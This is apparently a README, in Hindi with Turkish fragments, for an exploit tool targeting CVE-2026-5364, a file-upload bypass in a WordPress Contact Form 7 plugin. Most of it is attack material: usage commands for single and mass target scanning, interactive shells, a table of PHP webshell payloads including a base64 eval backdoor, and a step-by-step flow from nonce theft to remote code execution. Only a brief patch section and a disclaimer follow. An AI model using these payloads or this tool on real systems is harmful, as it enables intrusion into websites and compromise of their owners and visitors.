
CVE-2026-5364, ड्रैग एंड ड्रॉप फ़ाइल अपलोड फ़ॉर कॉन्टैक्ट फॉर्म 7 में एक CVSS 8.1 (उच्च) बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड भेद्यता है।
CVE-2026-5364, Contact Form 7 के लिए Drag and Drop File Upload में एक CVSS 8.1 (उच्च) बिना प्रमाणीकरण वाली मनमानी फ़ाइल अपलोड भेद्यता है।
sanitize_file_name()बाईपास के माध्यम से बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड CVSS 8.1 (उच्च) | प्रभावित: <= 1.1.3 | पैच किया गया: 1.1.4
| फ़ील्ड | मान |
|---|
| CVE ID | CVE-2026-5364 |
| प्लगइन | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (उच्च) |
| वेक्टर | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रभावित | <= 1.1.3 |
| पैच किया गया | 1.1.4 |
| शोधकर्ता | Thomas Sanzey |
| प्रकाशन | 23 अप्रैल 2026 |
प्लगइन, फ़ाइल एक्सटेंशन को sanitize_file_name() सफाई से पहले पढ़ता है। हमलावर shell.php$ नामक एक फ़ाइल अपलोड करता है:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← blacklist'i atlatır
sanitize_file_name('shell.php$') → 'shell.php' ← PHP olarak kaydedilir
तीन स्वतंत्र कमज़ोरियों की श्रृंखला:
type POST पैरामीटर उपयोगकर्ता से पढ़ा जाता हैpathinfo() कच्चे फ़ाइल नाम पर लागू होता हैwp_unique_filename() के अंदर sanitize_file_name() $ वर्ण को हटा देता हैgit clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests लाइब्रेरी# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com
# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"
# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive
# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec
# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Hedef:
-u, --url URL Tek hedef URL
-l, --list FILE Hedef listesi (satır başı URL)
Exploit:
-c, --cmd CMD OS komutu (varsayılan: id)
--shell TYPE Webshell tipi: basic|exec|pass|eval|info
-i, --interactive İnteraktif shell aç
--no-skip-patched Yamalı sürümleri de dene
Tarama:
-t, --threads N Thread sayısı (varsayılan: 10)
--timeout S Timeout saniye (varsayılan: 15)
--proxy URL Proxy adresi
Çıktı:
-o, --output FILE Sonuç dosyası
-v, --verbose Ayrıntılı çıktı
--no-color Renksiz çıktı
| प्रकार | Payload | उपयोग |
|---|---|---|
basic | <?php system($_GET["cmd"]); ?> | सामान्य उद्देश्य |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | पूर्ण आउटपुट |
pass | <?php passthru($_GET["cmd"]); ?> | बाइनरी आउटपुट |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | गुप्त/WAF बाईपास |
info | <?php phpinfo(); ?> | PHP जानकारी |
1. Nonce Tespiti
└─ wp_localize_script() ile her ziyaretçiye açık
GET /contact/ → HTML içinde "nonce":"abc123def4"
2. Shell Yükleme
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← blacklist'te yok
file=shell.php$ ← sanitize_file_name() → shell.php
3. URL Alma
└─ Response: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sanitize_file_name() द्वारा हटाए गए वर्ण:
$ % ~ ` (boşluk)
टूल सभी बाईपास वर्णों को स्वचालित रूप से आज़माता है।
| कारक | प्रभाव |
|---|---|
Apache .htaccess (Content-Disposition: attachment) | PHP निष्पादन को रोकता है |
| Nginx / LiteSpeed | .htaccess अमान्य — RCE संभव |
यादृच्छिक फ़ाइल नाम (uniqid()) | चूँकि AJAX प्रतिक्रिया URL लौटाता है, प्रभावहीन |
| Nonce | CSRF सुरक्षा — प्रमाणीकरण नहीं, प्रभावहीन |
प्लगइन को 1.1.4 या उससे ऊपर के संस्करण में अपडेट करें।
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// DOĞRU (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id); // POST'tan değil
यह टूल केवल शिक्षा और बचाव उद्देश्यों के लिए सुरक्षा अनुसंधान हेतु विकसित किया गया है। अनधिकृत सिस्टम पर इसका उपयोग निषिद्ध है और इसके कानूनी परिणाम हो सकते हैं। केवल उन्हीं सिस्टम पर उपयोग करें जिनके लिए आपने अनुमति ली है।